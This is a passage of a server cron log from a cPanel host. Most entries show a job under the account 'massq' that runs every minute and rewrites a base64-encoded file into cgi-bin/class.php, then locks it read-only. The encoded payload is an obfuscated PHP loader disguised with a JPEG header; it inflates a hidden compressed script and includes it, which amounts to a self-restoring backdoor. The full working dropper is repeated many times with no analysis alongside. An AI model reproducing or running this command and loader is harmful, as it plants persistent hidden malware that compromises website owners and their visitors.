"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:33:01 server CROND[7011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:34:01 server CROND[7060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:35:01 server CROND[7118]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 14:35:01 server CROND[7119]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 14:35:01 server CROND[7121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 14:35:01 server CROND[7120]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 14:35:01 server CROND[7128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:36:01 server CROND[7327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:37:01 server CROND[7392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:38:01 server CROND[7445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:39:01 server CROND[7499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:39:01 server CROND[7500]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 14:40:01 server CROND[7566]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 14:40:01 server CROND[7565]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 14:40:01 server CROND[7568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:40:01 server CROND[7567]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 14:41:01 server CROND[7686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:42:01 server CROND[7845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:42:01 server CROND[7846]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 14:43:01 server CROND[7901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:44:01 server CROND[7966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:45:01 server CROND[8026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SS